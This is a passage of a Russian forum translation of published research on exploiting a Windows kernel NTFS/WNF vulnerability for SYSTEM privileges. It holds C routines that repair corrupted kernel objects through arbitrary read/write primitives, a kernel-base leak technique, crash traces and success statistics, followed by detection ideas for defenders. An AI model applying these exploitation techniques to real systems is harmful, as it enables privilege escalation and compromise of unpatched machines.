02 ffffdc87`2a708d40 fffff807`277f3fa7 : 00000000`00000003 00000000`00000023 00000000`00000012 00000000`00000000 : nt!KeBugCheck2+0x946
03 ffffdc87`2a709450 fffff807`2798d938 : 00000000`0000013a 00000000`00000012 ffffa409`6ba02100 ffffa409`7120a000 : nt!KeBugCheckEx+0x107
04 ffffdc87`2a709490 fffff807`2798d998 : 00000000`00000012 ffffdc87`2a7095a0 ffffa409`6ba02100 fffff807`276df83e : nt!RtlpHeapHandleError+0x40
05 ffffdc87`2a7094d0 fffff807`2798d5c5 : ffffa409`7120a000 ffffa409`6ba02280 ffffa409`6ba02280 00000000`00000001 : nt!RtlpHpHeapHandleError+0x58
06 ffffdc87`2a709500 fffff807`2786667e : ffffa409`71293280 00000000`00000001 00000000`00000000 ffffa409`6f6de600 : nt!RtlpLogHeapFailure+0x45
07 ffffdc87`2a709530 fffff807`276cbc44 : 00000000`00000000 ffffb504`3b1aa7d0 00000000`00000000 ffffb504`00000000 : nt!RtlpHpVsContextFree+0x19954e
08 ffffdc87`2a7095d0 fffff807`27db2019 : 00000000`00052d20 ffffb504`33ea4600 ffffa409`712932a0 01000000`00100000 : nt!ExFreeHeapPool+0x4d4
09 ffffdc87`2a7096b0 fffff807`27a5856b : ffffb504`00000000 ffffb504`00000000 ffffb504`3b1ab020 ffffb504`00000000 : nt!ExFreePool+0x9
0a ffffdc87`2a7096e0 fffff807`27a58329 : 00000000`00000000 ffffa409`712936d0 ffffa409`712936d0 ffffb504`00000000 : nt!ExpWnfDeleteStateData+0x8b
0b ffffdc87`2a709710 fffff807`27c46003 : ffffffff`ffffffff ffffb504`3b1ab020 ffffb504`3ab0f780 00000000`00000000 : nt!ExpWnfDeleteNameInstance+0x1ed
0c ffffdc87`2a709760 fffff807`27b0553e : 00000000`00000000 ffffdc87`2a709990 00000000`00000000 00000000`00000000 : nt!ExpWnfDeleteProcessContext+0x140a9b
0d ffffdc87`2a7097a0 fffff807`27a9ea7f : ffffa409`7129d080 ffffb504`336506a0 ffffdc87`2a709990 00000000`00000000 : nt!ExWnfExitProcess+0x32
0e ffffdc87`2a7097d0 fffff807`279f4558 : 00000000`c000013a 00000000`00000001 ffffdc87`2a7099e0 00000055`8b6d6000 : nt!PspExitThread+0x5eb
0f ffffdc87`2a7098d0 fffff807`276e6ca7 : 00000000`00000000 00000000`00000000 00000000`00000000 fffff807`276f0ee6 : nt!KiSchedulerApcTerminate+0x38
10 ffffdc87`2a709910 fffff807`277f8440 : 00000000`00000000 ffffdc87`2a7099c0 ffffdc87`2a709b80 ffffffff`00000000 : nt!KiDeliverApc+0x487
11 ffffdc87`2a7099c0 fffff807`2780595f : ffffa409`71293000 00000251`173f2b90 00000000`00000000 00000000`00000000 : nt!KiInitiateUserApc+0x70
12 ffffdc87`2a709b00 00007ff9`18cabe44 : 00007ff9`165d26ee 00000000`00000000 00000000`00000000 00000000`00000000 : nt!KiSystemServiceExit+0x9f (TrapFrame @ ffffdc87`2a709b00)
13 00000055`8b8ffb28 00007ff9`165d26ee : 00000000`00000000 00000000`00000000 00000000`00000000 00007ff9`18c5a800 : ntdll!NtWaitForSingleObject+0x14
14 00000055`8b8ffb30 00000000`00000000 : 00000000`00000000 00000000`00000000 00007ff9`18c5a800 00000000`00000000 : 0x00007ff9`165d26ee


Хотя мы могли бы восстановить это с помощью относительного чтения/записи WNF, поскольку у нас есть произвольное чтение и запись с использованием API, мы можем реализовать функцию, которая использует ранее сохраненный указатель ScopeInstance для поиска StateName адреса нашего целевого объекта _WNF_NAME_INSTANCE.

Визуально это выглядит следующим образом:
1642842631172.png


Пример кода для этого:

C:
/**
* This function returns back the address of a _WNF_NAME_INSTANCE looked up by its internal StateName
* It performs an _RTL_AVL_TREE tree walk against the sorted tree of _WNF_NAME_INSTANCES.
* The tree root is at _WNF_SCOPE_INSTANCE+0x38 (NameSet)
**/
QWORD* FindStateName(unsigned __int64 StateName)
{
    QWORD* i;
   
    // _WNF_SCOPE_INSTANCE+0x38 (NameSet)
    for (i = (QWORD*)read64((char*)BackupScopeInstance+0x38); ; i = (QWORD*)read64((char*)i + 0x8))
    {

        while (1)
        {
            if (!i)
                return 0;

            // StateName is 0x18 after the TreeLinks FLINK
            QWORD CurrStateName = (QWORD)read64((char*)i + 0x18);

            if (StateName >= CurrStateName)
                break;

            i = (QWORD*)read64(i);
        }
        QWORD CurrStateName = (QWORD)read64((char*)i + 0x18);

        if (StateName <= CurrStateName)
            break;
    }
    return (QWORD*)((QWORD*)i - 2);
}

Затем, когда мы получили наш _WNF_NAME_INSTANCE, мы можем восстановить исходный указатель StateData.

Восстановление RunRef

Следующий сбой был связан с тем, что мы могли повредить много RunRef из _WNF_NAME_INSTANCE в процессе получения наших неограниченных _WNF_STATE_DATA. Когда ExReleaseRundownProtection вызывается и присутствует недопустимое значение, произойдет сбой следующим образом:

1: kd> kv
# Child-SP RetAddr : Args to Child : Call Site
00 ffffeb0f`0e9e5bf8 fffff805`2f512082 : ffffeb0f`0e9e5d60 fffff805`2f37b1d0 00000000`00000000 00000000`00000000 : nt!DbgBreakPointWithStatus
01 ffffeb0f`0e9e5c00 fffff805`2f511666 : 00000000`00000003 ffffeb0f`0e9e5d60 fffff805`2f408e90 00000000`0000003b : nt!KiBugCheckDebugBreak+0x12
02 ffffeb0f`0e9e5c60 fffff805`2f3f3fa7 : 00000000`00000103 00000000`00000000 fffff805`2f0e3838 ffffc807`cdb5e5e8 : nt!KeBugCheck2+0x946
03 ffffeb0f`0e9e6370 fffff805`2f405e69 : 00000000`0000003b 00000000`c0000005 fffff805`2f242c32 ffffeb0f`0e9e6cb0 : nt!KeBugCheckEx+0x107
04 ffffeb0f`0e9e63b0 fffff805`2f4052bc : ffffeb0f`0e9e7478 fffff805`2f0e3838 ffffeb0f`0e9e65a0 00000000`00000000 : nt!KiBugCheckDispatch+0x69
05 ffffeb0f`0e9e64f0 fffff805`2f3fcd5f : fffff805`2f405240 00000000`00000000 00000000`00000000 00000000`00000000 : nt!KiSystemServiceHandler+0x7c
06 ffffeb0f`0e9e6530 fffff805`2f285027 : ffffeb0f`0e9e6aa0 00000000`00000000 ffffeb0f`0e9e7b00 fffff805`2f40595f : nt!RtlpExecuteHandlerForException+0xf
07 ffffeb0f`0e9e6560 fffff805`2f283ce6 : ffffeb0f`0e9e7478 ffffeb0f`0e9e71b0 ffffeb0f`0e9e7478 ffffa300`da5eb5d8 : nt!RtlDispatchException+0x297
08 ffffeb0f`0e9e6c80 fffff805`2f405fac : ffff521f`0e9e8ad8 ffffeb0f`0e9e7560 00000000`00000000 00000000`00000000 : nt!KiDispatchException+0x186
09 ffffeb0f`0e9e7340 fffff805`2f401ce0 : 00000000`00000000 00000000`00000000 ffffffff`ffffffff ffffa300`daf84000 : nt!KiExceptionDispatch+0x12c
0a ffffeb0f`0e9e7520 fffff805`2f242c32 : ffffc807`ce062a50 fffff805`2f2df0dd ffffc807`ce062400 ffffa300`da5eb5d8 : nt!KiGeneralProtectionFault+0x320 (TrapFrame @ ffffeb0f`0e9e7520)
0b ffffeb0f`0e9e76b0 fffff805`2f2e8664 : 00000000`00000006 ffffa300`d449d8a0 ffffa300`da5eb5d8 ffffa300`db013360 : nt!ExfReleaseRundownProtection+0x32
0c ffffeb0f`0e9e76e0 fffff805`2f658318 : ffffffff`00000000 ffffa300`00000000 ffffc807`ce062a50 ffffa300`00000000 : nt!ExReleaseRundownProtection+0x24
0d ffffeb0f`0e9e7710 fffff805`2f846003 : ffffffff`ffffffff ffffa300`db013360 ffffa300`da5eb5a0 00000000`00000000 : nt!ExpWnfDeleteNameInstance+0x1dc
0e ffffeb0f`0e9e7760 fffff805`2f70553e : 00000000`00000000 ffffeb0f`0e9e7990 00000000`00000000 00000000`00000000 : nt!ExpWnfDeleteProcessContext+0x140a9b
0f ffffeb0f`0e9e77a0 fffff805`2f69ea7f : ffffc807`ce0700c0 ffffa300`d2c506a0 ffffeb0f`0e9e7990 00000000`00000000 : nt!ExWnfExitProcess+0x32
10 ffffeb0f`0e9e77d0 fffff805`2f5f4558 : 00000000`c000013a 00000000`00000001 ffffeb0f`0e9e79e0 000000f1`f98db000 : nt!PspExitThread+0x5eb
11 ffffeb0f`0e9e78d0 fffff805`2f2e6ca7 : 00000000`00000000 00000000`00000000 00000000`00000000 fffff805`2f2f0ee6 : nt!KiSchedulerApcTerminate+0x38
12 ffffeb0f`0e9e7910 fffff805`2f3f8440 : 00000000`00000000 ffffeb0f`0e9e79c0 ffffeb0f`0e9e7b80 ffffffff`00000000 : nt!KiDeliverApc+0x487
13 ffffeb0f`0e9e79c0 fffff805`2f40595f : ffffc807`ce062400 0000020b`04f64b90 00000000`00000000 00000000`00000000 : nt!KiInitiateUserApc+0x70
14 ffffeb0f`0e9e7b00 00007ff9`8314be44 : 00007ff9`80aa26ee 00000000`00000000 00000000`00000000 00000000`00000000 : nt!KiSystemServiceExit+0x9f (TrapFrame @ ffffeb0f`0e9e7b00)
15 000000f1`f973f678 00007ff9`80aa26ee : 00000000`00000000 00000000`00000000 00000000`00000000 00007ff9`830fa800 : ntdll!NtWaitForSingleObject+0x14
16 000000f1`f973f680 00000000`00000000 : 00000000`00000000 00000000`00000000 00007ff9`830fa800 00000000`00000000 : 0x00007ff9`80aa26ee


Чтобы восстановить их правильно, нам нужно подумать о том, как эти объекты сочетаются друг с другом в памяти и как получить полный список всех _WNF_NAME_INSTANCES, которые могут быть повреждены.

Внутри _EPROCESS у нас есть член WnfContext, который является указателем на _WNF_PROCESS_CONTEXT.

Это выглядит следующим образом:

nt!_WNF_PROCESS_CONTEXT
+0x000 Header : _WNF_NODE_HEADER
+0x008 Process : Ptr64 _EPROCESS
+0x010 WnfProcessesListEntry : _LIST_ENTRY
+0x020 ImplicitScopeInstances : [3] Ptr64 Void
+0x038 TemporaryNamesListLock : _WNF_LOCK
+0x040 TemporaryNamesListHead : _LIST_ENTRY
+0x050 ProcessSubscriptionListLock : _WNF_LOCK
+0x058 ProcessSubscriptionListHead : _LIST_ENTRY
+0x068 DeliveryPendingListLock : _WNF_LOCK
+0x070 DeliveryPendingListHead : _LIST_ENTRY
+0x080 NotificationEvent : Ptr64 _KEVENT


Как видите, существует элемент TemporaryNamesListHead, который представляет собой связанный список адресов TemporaryNamesListHead в _WNF_NAME_INSTANCE.

Следовательно, мы можем вычислить адрес каждого из _WNF_NAME_INSTANCES, перебирая связанный список, используя наши произвольные примитивы чтения.

Затем мы можем определить, был ли поврежден заголовок или RunRef, и восстановить нормальное значение, которое не вызывает BSOD (т. е. 0).

Примером этого является:

C:
/**
* This function starts from the EPROCESS WnfContext which points at a _WNF_PROCESS_CONTEXT
* The _WNF_PROCESS_CONTEXT contains a TemporaryNamesListHead at 0x40 offset.
* This linked list is then traversed to locate all _WNF_NAME_INSTANCES and the header and RunRef fixed up.
**/
void FindCorruptedRunRefs(LPVOID wnf_process_context_ptr)
{

    // +0x040 TemporaryNamesListHead : _LIST_ENTRY
    LPVOID first = read64((char*)wnf_process_context_ptr + 0x40);
    LPVOID ptr;

    for (ptr = read64(read64((char*)wnf_process_context_ptr + 0x40)); ; ptr = read64(ptr))
    {
        if (ptr == first) return;

        // +0x088 TemporaryNameListEntry : _LIST_ENTRY
        QWORD* nameinstance = (QWORD*)ptr - 17;

        QWORD header = (QWORD)read64(nameinstance);
       
        if (header != 0x0000000000A80903)
        {
            // Fix the header up.
            write64(nameinstance, 0x0000000000A80903);
            // Fix the RunRef up.
            write64((char*)nameinstance + 0x8, 0);
        }
    }
}

Базовый адрес NTOSKRNL

Хотя на самом деле эксплойту это не нужно, мне нужно было получить базовый адрес NTOSKRNL, чтобы ускорить некоторые исследования и отладку кучи сегментов. Имея доступ к EPROCESS/KPROCESS или ETHREAD/KTHREAD, можно получить базовый адрес NTOSKRNL из стека ядра. Поместив вновь созданный поток в состояние ожидания, мы можем затем пройтись по стеку ядра для этого потока и получить адрес возврата известной функции. Используя это и фиксированное смещение, мы можем вычислить базовый адрес NTOSKRNL. Аналогичная техника использовалась в KernelForge.

Следующий вывод показывает поток в состоянии ожидания:

0: kd> !thread ffffbc037834b080
THREAD ffffbc037834b080 Cid 1ed8.1f54 Teb: 000000537ff92000 Win32Thread: 0000000000000000 WAIT: (UserRequest) UserMode Non-Alertable
ffffbc037d7f7a60 SynchronizationEvent
Not impersonating
DeviceMap ffff988cca61adf0
Owning Process ffffbc037d8a4340 Image: amberzebra.exe
Attached Process N/A Image: N/A
Wait Start TickCount 3234 Ticks: 542 (0:00:00:08.468)
Context Switch Count 4 IdealProcessor: 1
UserTime 00:00:00.000
KernelTime 00:00:00.000
Win32 Start Address 0x00007ff6e77b1710
Stack Init ffffd288fe699c90 Current ffffd288fe6996a0
Base ffffd288fe69a000 Limit ffffd288fe694000 Call 0000000000000000
Priority 8 BasePriority 8 PriorityDecrement 0 IoPriority 2 PagePriority 5
Child-SP RetAddr : Args to Child : Call Site
ffffd288`fe6996e0 fffff804`818e4540 : fffff804`7d17d180 00000000`ffffffff ffffd288`fe699860 ffffd288`fe699a20 : nt!KiSwapContext+0x76
ffffd288`fe699820 fffff804`818e3a6f : 00000000`00000000 00000000`00000001 ffffd288`fe6999e0 00000000`00000000 : nt!KiSwapThread+0x500
ffffd288`fe6998d0 fffff804`818e3313 : 00000000`00000000 fffff804`00000000 ffffbc03`7c41d500 ffffbc03`7834b1c0 : nt!KiCommitThreadWait+0x14f
ffffd288`fe699970 fffff804`81cd6261 : ffffbc03`7d7f7a60 00000000`00000006 00000000`00000001 00000000`00000000 : nt!KeWaitForSingleObject+0x233
ffffd288`fe699a60 fffff804`81cd630a : ffffbc03`7834b080 00000000`00000000 00000000`00000000 00000000`00000000 : nt!ObWaitForSingleObject+0x91
ffffd288`fe699ac0 fffff804`81a058b5 : ffffbc03`7834b080 00000000`00000000 00000000`00000000 00000000`00000000 : nt!NtWaitForSingleObject+0x6a
ffffd288`fe699b00 00007ffc`c0babe44 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : nt!KiSystemServiceCopyEnd+0x25 (TrapFrame @ ffffd288`fe699b00)
00000053`003ffc68 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ntdll!NtWaitForSingleObject+0x14

Тестирование эксплойтов и статистика


Поскольку в этом эксплойте есть некоторые элементы нестабильности и недетерминированные элементы, была разработана среда тестирования эксплойтов для определения эффективности при нескольких запусках и на нескольких различных поддерживаемых платформах, а также путем изменения параметров эксплойта. Хотя эта лабораторная среда не является полностью репрезентативной для долгоживущей операционной системы с потенциально другими установленными сторонними драйверами и т. д., а также с более шумным пулом ядра, она дает некоторое представление о том, что такой подход осуществим, а также используется для возможных механизмов обнаружения.

Ключевые переменные, которые можно изменить с помощью этого эксплойта:

- Размер распыления
- Выбор пост-эксплуатации


Все они измеряются в течение 100 итераций эксплойта (более 5 запусков) с длительностью тайм-аута 15 секунд (т. е. BSOD не возникал в течение 15 секунд после выполнения эксплойта).

SYSTEM shells — количество запусков СИСТЕМНОЙ оболочки.

Total LFH Writes — сколько повреждений было вызвано за все 100 запусков эксплойта.

Avg LFH Writes — среднее количество переполнений LFH, необходимых для получения оболочки SYSTEM.

Failed after 32 — Сколько раз эксплойту не удалось переполнить соседний объект требуемого целевого типа, достигнув максимального количества попыток переполнения. 32 было выбрано полупроизвольное значение на основе эмпирического тестирования и блоков в BlockBitmap для LFH, сканируемых группами из 32 блоков.

BSODs on exec — количество BSOD при выполнении.

Unmapped Read — количество раз, когда относительное чтение достигает неотображенной памяти (ExpWnfReadStateData) — включено в BSOD при подсчете выполнения выше.

Изменение размера распыления

В следующей статистике показаны пробеги при изменении размера распыления.

1642842751689.png


1642842761146.png


1642842770565.png


1642842781238.png


Из этого видно, что увеличение размера распределения приводит к значительному снижению вероятности попадания в неотображенное чтение (из-за того, что страница не отображается) и, таким образом, к уменьшению количества BSOD.

В среднем количество переполнений, необходимых для получения правильной схемы памяти, оставалось примерно одинаковым независимо от размера спрея.

Изменение метода пост-эксплуатации

Я также экспериментировал с используемым методом пост-эксплуатации (кража токена или модификация существующего токена). Причина этого в том, что при использовании метода кражи токена ядро выполняет больше операций чтения/записи и более длительный промежуток времени между возвратом к PreviousMode.

1642842830868.png


Следовательно, между этими двумя методами существует лишь незначительная разница.

Обнаружение

После всего этого мы узнали что-нибудь, что могло бы помочь защитникам?

Ну, во-первых, есть патч для этой уязвимости с 8 июня 2021 года. Если вы читаете это, а исправление не применяется, то, очевидно, существуют более серьезные проблемы с жизненным циклом управления исправлениями, на которых следует сосредоточиться

Тем не менее, есть некоторые инженерные идеи, которые можно извлечь из этого, и в целом обнаружение эксплойтов с повреждением памяти в дикой природе. Я сосредоточусь конкретно на самой уязвимости и этом эксплойте, а не на более общих методах обнаружения после эксплуатации (кража токена и т. д.), которые были описаны во многих онлайн-статьях. Поскольку у меня никогда не было доступа к эксплойту в дикой природе, эти механизмы обнаружения могут быть бесполезны для этого сценария. Тем не менее, это исследование должно позволить исследователям безопасности лучше понять эту область.

Основные артефакты этого эксплойта:

- Создаются и запрашиваются расширенные атрибуты NTFS.
- Создаваемые объекты WNF (как часть распыления)
- Неудачные попытки эксплойта, приводящие к BSOD

Расширенные атрибуты NTFS


Во-первых, при изучении платформы ETW для Windows было обнаружено, что поставщик Microsoft-Windows-Kernel-File предоставляет события "SetEa" и "QueryEa".

Это можно зафиксировать как часть трассировки ETW:

1642842855627.png


Поскольку эту уязвимость можно использовать с низкой целостностью (и, следовательно, из песочницы), то механизмы обнаружения будут различаться в зависимости от того, выполнял ли злоумышленник локальный код или связал его с эксплойтом браузера.

Одна из идей обнаружения на основе EDR заключается в том, что процесс рендеринга браузера, выполняющий оба этих действия (в случае использования этого эксплойта для выхода из песочницы браузера), требует более глубокого изучения. Например, при загрузке новой вкладки и веб-страницы процесс браузера "MicrosoftEdge.exe" законно инициирует эти события при нормальной работе, тогда как изолированный процесс визуализации "MicrosoftEdgeCP.exe" этого не делает. Chrome при загрузке новой вкладки и веб-страницы также не вызывал ни одного из событий. Я не исследовал слишком глубоко, есть ли какие-либо операции рендеринга, которые могли бы вызвать это не злонамеренно, но предоставляют место, где защитники могут исследовать дальше.

WNF-операции

Вторая исследованная область заключалась в том, чтобы определить, были ли какие-либо события ETW, созданные операциями на основе WNF. Просматривая поставщиков "Microsoft-Windows-Kernel-*", я не смог найти никаких связанных событий, которые могли бы помочь в этой области. Таким образом, обнаружение распыления с помощью любой регистрации ETW операций WNF казалось невозможным. Это ожидалось из-за того, что подсистема WNF не предназначалась для использования в коде, отличном от MS.

Телеметрия аварийного дампа

Аварийные дампы — очень хороший способ обнаружить ненадежные методы эксплуатации или случаи, когда разработчик эксплойта непреднамеренно оставил свою систему разработки подключенной к сети. MS08-067 — хорошо известный пример того, как Microsoft использует это для определения 0day из своей телеметрии WER. Оно было обнаружено путем поиска шелл-кода, однако некоторые сбои довольно подозрительны, если они происходят из производственных выпусков. Apple также, кажется, добавила телеметрию в iMessage для подозрительных сбоев.

В случае этой конкретной уязвимости при использовании WNF существует небольшая вероятность (примерно <5%) появления следующего BSOD, который может стать артефактом обнаружения:

```
Child-SP RetAddr Call Site
ffff880f`6b3b7d18 fffff802`1e112082 nt!DbgBreakPointWithStatus
ffff880f`6b3b7d20 fffff802`1e111666 nt!KiBugCheckDebugBreak+0x12
ffff880f`6b3b7d80 fffff802`1dff3fa7 nt!KeBugCheck2+0x946
ffff880f`6b3b8490 fffff802`1e0869d9 nt!KeBugCheckEx+0x107
ffff880f`6b3b84d0 fffff802`1deeeb80 nt!MiSystemFault+0x13fda9
ffff880f`6b3b85d0 fffff802`1e00205e nt!MmAccessFault+0x400
ffff880f`6b3b8770 fffff802`1e006ec0 nt!KiPageFault+0x35e
ffff880f`6b3b8908 fffff802`1e218528 nt!memcpy+0x100
ffff880f`6b3b8910 fffff802`1e217a97 nt!ExpWnfReadStateData+0xa4
ffff880f`6b3b8980 fffff802`1e0058b5 nt!NtQueryWnfStateData+0x2d7
ffff880f`6b3b8a90 00007ffe`e828ea14 nt!KiSystemServiceCopyEnd+0x25
00000082`054ff968 00007ff6`e0322948 0x00007ffe`e828ea14
00000082`054ff970 0000019a`d26b2190 0x00007ff6`e0322948
00000082`054ff978 00000082`054fe94e 0x0000019a`d26b2190
00000082`054ff980 00000000`00000095 0x00000082`054fe94e
00000082`054ff988 00000000`000000a0 0x95
00000082`054ff990 0000019a`d26b71e0 0xa0
00000082`054ff998 00000082`054ff9b4 0x0000019a`d26b71e0
00000082`054ff9a0 00000000`00000000 0x00000082`054ff9b4
```


При нормальной работе вы не ожидаете, что операция memcpy вызовет ошибку при доступе к неотображенной памяти при запуске подсистемой WNF. Хотя эта телеметрия может привести к тому, что попытки атаки будут обнаружены до того, как злоумышленник получит выполнение кода. После того, как выполнение кода ядра или SYSTEM было получено, они могут просто отключить телеметрию или впоследствии ее очистить, особенно в тех случаях, когда после эксплуатации может возникнуть нестабильность системы. Похоже, что в Windows 11 добавлено дополнительное ведение журнала ETW с этими параметрами политики, чтобы определять сценарии при их изменении:

Вывод

В этой статье показаны некоторые дополнительные шаги, которые должен пройти разработчик эксплойта, чтобы добиться более надежного и стабильного выполнения кода, помимо простого POC.

На данный момент у нас теперь есть эксплойт, который гораздо более успешен и с меньшей вероятностью вызовет нестабильность в целевой системе, чем простой POC. Тем не менее, мы можем получить только около 90% успеха из-за используемых методов. Это кажется пределом при таком подходе и без использования альтернативных примитивов эксплойта. В статье также приводится несколько примеров потенциальных способов выявления использования этой уязвимости и выявления эксплойтов с повреждением памяти в целом.

1642842891928.png



Переведено специально для xss.pro
Автор перевода: yashechka
Источник: https://research.nccgroup.com/2021/...ting-the-windows-kernel-ntfs-with-wnf-part-2/
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх